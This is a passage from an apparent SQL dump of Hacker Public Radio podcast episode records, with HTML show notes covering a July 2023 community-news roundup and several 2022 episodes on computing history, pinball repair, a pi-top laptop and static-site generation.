target=\"_blank\">3896</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html\" target=\"_blank\">The Brochs of Glenelg</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3897/index.html\" target=\"_blank\">3897</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3897/index.html\" target=\"_blank\">HPR AudioBook Club 22 - Murder at Avedon Hill</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3898/index.html\" target=\"_blank\">3898</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3898/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3899/index.html\" target=\"_blank\">3899</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3899/index.html\" target=\"_blank\">Repair corrupt video files for free with untruc</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0383.html\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html\" target=\"_blank\">3900</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html\" target=\"_blank\">Preparing Podcasts for Listening</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html\" target=\"_blank\">3901</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html\" target=\"_blank\">Time Managment</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html\" target=\"_blank\">3902</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html\" target=\"_blank\">Introduction to a new series on FFMPEG</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0300.html\" target=\"_blank\">Mr. Young</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html\" target=\"_blank\">3903</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html\" target=\"_blank\">Why I don\'t love systemd (yet)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0073.html\" target=\"_blank\">deepgeek</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html\" target=\"_blank\">3904</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html\" target=\"_blank\">How to make friends</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3905/index.html\" target=\"_blank\">3905</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3905/index.html\" target=\"_blank\">Presenting Fred Black</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0309.html\" target=\"_blank\">folky</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3906/index.html\" target=\"_blank\">3906</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3906/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3907/index.html\" target=\"_blank\">3907</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3907/index.html\" target=\"_blank\">My introduction show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3908/index.html\" target=\"_blank\">3908</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3908/index.html\" target=\"_blank\">Emacs package curation, part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html\" target=\"_blank\">3909</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html\" target=\"_blank\">Permission tickets. </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0398.html\" target=\"_blank\">one_of_spoons</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html\" target=\"_blank\">3910</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html\" target=\"_blank\">Playing Civilization II</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3911/index.html\" target=\"_blank\">3911</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3911/index.html\" target=\"_blank\">An overview of the \'ack\' command</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 20 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html#comments\" target=\"_blank\">hpr3876</a></strong>\n(2023-06-12) \"<em>Recording An Episode For Hacker Public Radio</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0419.html\" target=\"_blank\">Ryuno-Ki</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-01:\n\"Good information about recording\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html#comments\" target=\"_blank\">hpr3883</a></strong>\n(2023-06-21) \"<em>Emergency Show: How to demonstrate the power of condensing steam</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-15:\n\"Clap!\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#comments\" target=\"_blank\">hpr3889</a></strong>\n(2023-06-29) \"<em>comm - compare two sorted files line by line</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-08:\n\"KDirStat is dead, long live QDirStat!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2023-07-12:\n\"QDirstat is nice but I meant kdiff3\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#comments\" target=\"_blank\">hpr3891</a></strong>\n(2023-07-03) \"<em>HPR Community News for June 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2023-07-03:\n\"solocast updates\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2023-07-04:\n\"My truck\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#comments\" target=\"_blank\">hpr3892</a></strong>\n(2023-07-04) \"<em>Emacs package curation, part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2023-07-05:\n\"I love this topic\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-07-11:\n\"Do it!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html#comments\" target=\"_blank\">hpr3894</a></strong>\n(2023-07-06) \"<em>The Page 42 Show: Ugly News Week, Show\'s Epoch!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-07-08:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#comments\" target=\"_blank\">hpr3896</a></strong>\n(2023-07-10) \"<em>The Brochs of Glenelg</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Ruins\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#comments\" target=\"_blank\">hpr3900</a></strong>\n(2023-07-14) \"<em>Preparing Podcasts for Listening</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#1\" target=\"_blank\">Comment 1</a>:\nHipstre on 2023-07-14:\n\"Limiter/GPodder\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#2\" target=\"_blank\">Comment 2</a>:\nEugene on 2023-07-16:\n\"No need for podcast preprocessing\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2023-07-17:\n\"Sansa Clip+\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html#comments\" target=\"_blank\">hpr3901</a></strong>\n(2023-07-17) \"<em>Time Managment</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-18:\n\"aCalendar on Android\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html#comments\" target=\"_blank\">hpr3902</a></strong>\n(2023-07-18) \"<em>Introduction to a new series on FFMPEG</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0300.html\" target=\"_blank\">Mr. Young</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"ffmpeg\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html#comments\" target=\"_blank\">hpr3903</a></strong>\n(2023-07-19) \"<em>Why I don\'t love systemd (yet)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0073.html\" target=\"_blank\">deepgeek</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"systemd\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#comments\" target=\"_blank\">hpr3904</a></strong>\n(2023-07-20) \"<em>How to make friends</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Friends\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2023-08-02:\n\"Frienships\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html#comments\" target=\"_blank\">hpr3909</a></strong>\n(2023-07-27) \"<em>Permission tickets. </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0398.html\" target=\"_blank\">one_of_spoons</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Great show, keep em coming!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html#comments\" target=\"_blank\">hpr3910</a></strong>\n(2023-07-28) \"<em>Playing Civilization II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Game mechanics\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-July/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-July/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"the-hpr-static-site\">The HPR Static Site</h2>\n<p>As mentioned in the last Community News episode, the HPR database and\nwebsite was moved to a new server, and the static site generator written\nby <code>Rho`n</code> was used to generated the non-interactive part of\nthe website.</p>\n<p>Since then, there has been a process of adapting the software to the\nnew configuration. Unfortunately <code>Rho`n</code> has not been\navailable during this process, but we are gradually learning our way\naround his excellent software and making changes to suit our needs.</p>\n<p>If you spot any problems or have ideas for new features, please raise\nissues on the Gitea repository at: <a\nhref=\"https://repo.anhonesthost.net/rho_n/hpr_generator/issues\"\nclass=\"uri\">https://repo.anhonesthost.net/rho_n/hpr_generator/issues</a>.</p>\n<h2 id=\"reserve-queue\">Reserve Queue</h2>\n<p>A policy change is required in the use of the reserve queue. When\nthere are unfilled slots between 5 and 7 days in the future, episodes in\nthis queue will be used to fill them.</p>\n<p>This extra time is required because of the time it can take to\nprocess a show and load it to the Internet Archive.</p>\n<h2 id=\"bram-moolenaar-author-of-vim-dies\">Bram Moolenaar, author of Vim\ndies</h2>\n<p>There was an announcement from Bram\'s family today (2023-08-05) that\nhe died on August 3<sup>rd</sup> 2023 from a medical problem that\nworsened recently.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Bram_Moolenaar\">Bram\nMoolenar\'s page on Wikipedia</a></p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3643,'2022-07-20','My computing history and the software I use',3345,'Rambling about my computing history and tech stack. ','<p>I introduce myself by describing my computing history and tech stack. Disjointed rambling and tangentially related thoughts ensue.</p>\n',406,0,1,'CC-BY-SA','UNIX, Linux, first show, BSD, Android',0,0,1),
(3658,'2022-08-10','Linux Inlaws S01E62: HPR\'s inner workings',1975,'An overview of HPRs inner workings and stats based on a ludicrous claim by the Inlaws','<p>In this episode our two ageing heroes explore the inner workings of a podcast (or podcast hosting platform depending on your perspective) called Hacker Public Radio. Yes, the platform that the Inlaws have been using since the very inception of this rapidly growing FLOSS podcast content. Wondering what the heck this episode is all about, why exactly Martin and Chris are talking about this now and the importance of statistics, lies and damned lies? Then just listen to this episode. You may also find out the difference between mere caching and content syndication. Never mind HPR\'s inner workings.</p>\n<h2>Links:</h2>\n<ul>\n<li>hpr3648: <a href=\"https://hackerpublicradio.org/eps.php?id=3648\" target=_blank>https://hackerpublicradio.org/eps.php?id=3648</a></li>\n<li>The Internet Archive: <a href=\"https://archive.org\" target=_blank>https://archive.org</a></li>\n<li>Extraterrestrial sheep: <a href=\"https://aliens.fandom.com/wiki/Sheep_(Kaeloo)\" target=_blank>https://aliens.fandom.com/wiki/Sheep_(Kaeloo)</a></li>\n<li>QuickAxe: <a href=\"https://fireemblem.fandom.com/wiki/Quick_Axe\" target=_blank>https://fireemblem.fandom.com/wiki/Quick_Axe</a></li>\n<li>Linux Episode S01E35 (The Free Software Foundation Europe): <a href=\"https://hackerpublicradio.org/eps.php?id=3388\" target=_blank>https://hackerpublicradio.org/eps.php?id=3388</a></li>\n<li>Ford v Ferrari: <a href=\"https://www.imdb.com/title/tt1950186/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt1950186/?ref_=nv_sr_srsg_0</a></li>\n<li>Book of Monsters: <a href=\"https://www.imdb.com/title/tt7260818/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt7260818/?ref_=fn_al_tt_1</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Lies, damned lies, stats, projections, CDNs, Ford, Ferrari, Monsters, Books',0,0,1),
(3679,'2022-09-08','Linux Inlaws S01E64: Non-profits in the US: A closer look at 501(c)s',2177,'The Ins and Outs of 501(c)s','<p>In this episode, Martin and Chris shed more light on the riveting subject of non-profit\nand not-for-profit organisations especially in the US with a special focus on the all-\nimportant topic of tax implications. Warning: Due to the fast-paced and gripping never\nmind explicit nature of this topic, people with sleeping disabilities or who are easily startled\n/ offended by graphic content should consult a member of the medical profession to ensure\nthat they are capable of handling this episode. You have been warned.</p>\n<h2>Links:</h2>\n<ul>\n<li>501(c) overview: <a href=\"https://en.wikipedia.org/wiki/501(c)_organization\" target=_blank>https://en.wikipedia.org/wiki/501(c)_organization</a></li>\n<li>501(c)3: <a href=\"https://en.wikipedia.org/wiki/501(c)(3)_organization\" target=_blank>https://en.wikipedia.org/wiki/501(c)(3)_organization</a></li>\n<li>NATO 5th article: <a href=\"https://www.nato.int/cps/en/natohq/topics_110496.htm\" target=_blank>https://www.nato.int/cps/en/natohq/topics_110496.htm</a></li>\n<li>Johnson amendment: <a href=\"https://en.wikipedia.org/wiki/Johnson_Amendment\" target=_blank>https://en.wikipedia.org/wiki/Johnson_Amendment</a></li>\n<li>St IGNUcius / Church of Emacs: <a href=\"https://stallman.org/saint.html\" target=_blank>https://stallman.org/saint.html</a></li>\n<li>Richard Stallman rejoins the FSF board: <a href=\"https://www.theregister.com/2021/03/22/richard_stallman_back_on_fsf_board\" target=_blank>https://www.theregister.com/2021/03/22/richard_stallman_back_on_fsf_board</a></li>\n<li>The Undeclared War: <a href=\"https://en.wikipedia.org/wiki/The_Undeclared_War\" target=_blank>https://en.wikipedia.org/wiki/The_Undeclared_War</a></li>\n<li>Serviettenknödel: <a href=\"http://gingerandbread.com/2014/12/19/serviettenknodel-a-dumpling-for-special-occasions\" target=_blank>http://gingerandbread.com/2014/12/19/serviettenknodel-a-dumpling-for-special-occasions</a></li>\n<li>HPR website project (discussion on the mailing list): <a href=\"http://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html\" target=_blank>http://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','501(c)3, 501(c)6, non-profits, not-for-profits, Church of Emacs, RMS, Serviettenknödel',0,0,1),
(3644,'2022-07-21','Pinball Machine Repair Tips',1483,'As a first show, I introduce myself and show some repairability tips for 90s pinball machines','<p>After the introduction, as this is my first show, i tell you how i got my current Pinball machine, an \"Indiana Jones, the Pinball adventure\" from Williams.</p>\n<p>I suggest tips to anyone trying to repair one, or simply to curious people out there.</p>\n',407,103,1,'CC-BY-SA','first show,pinball,repair,electronics,90s',0,0,1),
(3646,'2022-07-25','arm, slackware, forth oh my!',834,'a description of a laptop ','<p><em>Image 1</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image1.jpg\" alt=\"Image 1\" /></p>\n<p><em>Image 2</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image2.jpg\" alt=\"Image 2\" /></p>\n<p><em>Image 3</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3646/image3.jpg\" alt=\"Image 3\" /></p>\n<h3 id=\"pi-top-the-company\">pi-top the company</h3>\n<ul>\n<li>make educational products using the rasp-pi</li>\n<li>uk based company 24 million $ funding 3 employees</li>\n<li>products\n<ul>\n<li>pitop ceed</li>\n<li>pitop 2 laptop</li>\n<li>pitop 3 laptop</li>\n<li>pitop 4 case+ for rpi4</li>\n<li>robot kit, etc</li>\n</ul></li>\n</ul>\n<h3 id=\"my-pi-top-3\">my pi-top 3</h3>\n<ul>\n<li>had a pi-top 2, keyboard was bad, battery was worse</li>\n<li>ebay purchase pi-top 3, wanted to try new form factor and see if the battery was better</li>\n<li>came with experimentor kit, included a slide in solderless breadboard, and an rpi!</li>\n<li>description</li>\n<li>modifications\n<ul>\n<li>slackware install,lost some of the built in scripts that monitored the system, especially battery monitoring</li>\n<li>added a daughter board with an atmega328 running forth to do the battery monitoring</li>\n<li>added an rtc ds1307, installed via instructions from the sarpi website</li>\n</ul></li>\n<li>pluses\n<ul>\n<li>better keyboard, with better mechanical design</li>\n<li>better battery life, charging great</li>\n<li>better screen</li>\n</ul></li>\n<li>minuses\n<ul>\n<li>charging board seems closed source, that would be the keys to the kingdom</li>\n<li>old software hard to come by</li>\n<li>stuck in rpi3 form factor</li>\n</ul></li>\n<li>plans\n<ul>\n<li>+upgrade to slackware 15-64 bit+</li>\n<li>leave the rpi and go to a pineboard</li>\n<li>reverse engineer charging board?</li>\n<li>easier to modify case to accept new hardware</li>\n</ul></li>\n</ul>\n',326,0,0,'CC-BY-SA','raspberry pi, hardware',0,0,1),
(3653,'2022-08-03','Hello HPR Community',53,'Introducing myself to the HPR community','<p>Long time listener, first time caller...</p>\n',408,0,0,'CC-BY-SA','Introductions',0,0,1),
(3668,'2022-08-24','Linux Inlaws S01E63: John Hawley on kernel dot org and other shenanigans',5514,'An interview with John Hawley of kernel.org fame','<p>In this episode Martin and Chris host John Hawley of kernel.org fame. The\ndiscussion centers around Python, the royal British family and other FLOSS\ntopics such as some break-away colonies like the US, version control systems,\nwireless wikis and containers. Never mind Python. Did I mention Python? :-)\nAnd perhaps VMware. Ever wondered why early versions of git just gobbled up\nyour main memory? You may or may not find the answer in this episode. Or its\nouttakes...</p>\n\n<h2>Links:</h2>\n<ul>\n<li>The Linux kernel: <a href=\"https://kernel.org\" target=_blank>https://kernel.org</a></li>\n<li>The wireless subsystem: <a href=\"https://wireless.kernel.org\" target=_blank>https://wireless.kernel.org</a></li>\n<li>git: <a href=\"https://git-scm.com\" target=_blank>https://git-scm.com</a></li>\n<li>Linux kernel VCS before git: <a href=\"https://www.linuxjournal.com/content/git-origin-story\" target=_blank>https://www.linuxjournal.com/content/git-origin-story</a></li>\n<li>xkcd on git: <a href=\"https://xkcd.com/1597\" target=_blank>https://xkcd.com/1597</a></li>\n<li>Guido @ Microsoft: <a href=\"https://twitter.com/gvanrossum/status/1326932991566700549\" target=_blank>https://twitter.com/gvanrossum/status/1326932991566700549</a></li>\n<li>Episode on The Halloween Documents: <a href=\"https://linuxinlaws.eu/archive.html#S01\" target=_blank>https://linuxinlaws.eu/archive.html#S01</a></li>\n<li>TIOBE index: <a href=\"https://www.tiobe.com/tiobe-index\" target=_blank>https://www.tiobe.com/tiobe-index</a></li>\n<li>PhotonOS: <a href=\"https://vmware.github.io/photon/assets/files/html/3.0/Introduction.html\" target=_blank>https://vmware.github.io/photon/assets/files/html/3.0/Introduction.html</a></li>\n<li>BusyBox: <a href=\"https://www.busybox.net\" target=_blank>https://www.busybox.net</a></li>\n<li>Python Software Foundation: <a href=\"https://www.python.org/psf\" target=_blank>https://www.python.org/psf</a></li>\n<li>Google Summier of Code: <a href=\"https://summerofcode.withgoogle.com\" target=_blank>https://summerofcode.withgoogle.com</a></li>\n<li>trace-cruncher: <a href=\"https://github.com/vmware/trace-cruncher\" target=_blank>https://github.com/vmware/trace-cruncher</a></li>\n<li>Zero Dark Thirty: <a href=\"https://www.imdb.com/title/tt1790885/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt1790885/?ref_=nv_sr_srsg_0</a></li>\n<li>Command Line Heroes: <a href=\"https://www.redhat.com/en/command-line-heroes/about\" target=_blank>https://www.redhat.com/en/command-line-heroes/about</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','git, kernel.org, GSoC, Command Line Heroes, Zero Dark Thirty, trace cruncher',0,0,1),
(3654,'2022-08-04','Use the data in the Ogg feed to create a website.',807,'How much of of site can I make using only the data from the feed?','<h1 id=\"make-a-website-using-the-hpr-rss-feed\">Make a website using the HPR RSS Feed</h1>\n<p>Welcome to part II of my experiment in how much can be done with the data ion the HPR feed</p>\n<p>In my previous episode <a href=\"https://hackerpublicradio.org/eps.php?id=3637\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3637</a> I discussed taking the data from the HPR feed and stuffing the useful bits into a sqlite database.</p>\n<p>Today, Ill discuss some of my adventures generating a static site using the feed data</p>\n<h2 id=\"lessons-learned\">Lessons learned</h2>\n<ul>\n<li>Maybe skip DB step</li>\n<li>I tend to over use Markdown - sometimes HTML is Better</li>\n<li>So much content on HPR</li>\n</ul>\n<h2 id=\"tech\">Tech</h2>\n<p>My original intent was to create markdown files that could be feed into an existing static site generator, something like Hugo or Jekyll.</p>\n<p>I started with markdown but had to add too much html.</p>\n<p>I\'m am a bit fan of using Markdown, but it did not fit this particular use case</p>\n<ul>\n<li>Peewee - ORM - <a href=\"https://docs.peewee-orm.com\" class=\"uri\">https://docs.peewee-orm.com</a></li>\n<li>Jinja - Templates - <a href=\"https://jinja.palletsprojects.com\" class=\"uri\">https://jinja.palletsprojects.com</a></li>\n</ul>\n<h2 id=\"feed-as-source-of-data\">Feed as source of data</h2>\n<p>I added some HTML for header footer</p>\n<ul>\n<li>Header\n<ul>\n<li>bootstrap CSS columns</li>\n<li>hpr logo</li>\n</ul></li>\n<li>footer\n<ul>\n<li>Links</li>\n<li>Copyright</li>\n</ul></li>\n</ul>\n<h2 id=\"pages\">Pages</h2>\n<ul>\n<li>Main page listing the most recent shows</li>\n<li>A page listing all shows</li>\n<li>Individual pages for each show</li>\n<li>A page listing all the hosts</li>\n<li>individual page for each host</li>\n</ul>\n<p>One thing I would like to see on the HPR page is a count of how many shows there are for each host. I have enough data, so I added show counts.</p>\n<h2 